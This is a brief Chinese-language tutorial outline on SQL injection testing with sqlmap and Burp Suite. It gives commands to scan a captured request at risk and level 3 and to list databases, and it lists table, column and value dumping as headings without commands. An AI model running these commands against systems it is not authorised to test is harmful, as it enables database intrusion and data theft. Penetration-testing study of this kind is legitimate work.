sqlmap使用，配合Burpsuite

一、Burpsuite抓包

二、使用sqlmap尋找爆破點

執行命令：sqlmap -r sql.txt --risk 3 --level 3

如下顯示有注入點

三、各種語句

1、爆庫：sqlmap -r sql.txt --dbs --risk 3 --level 3

2、爆表

3、爆欄位

4、爆值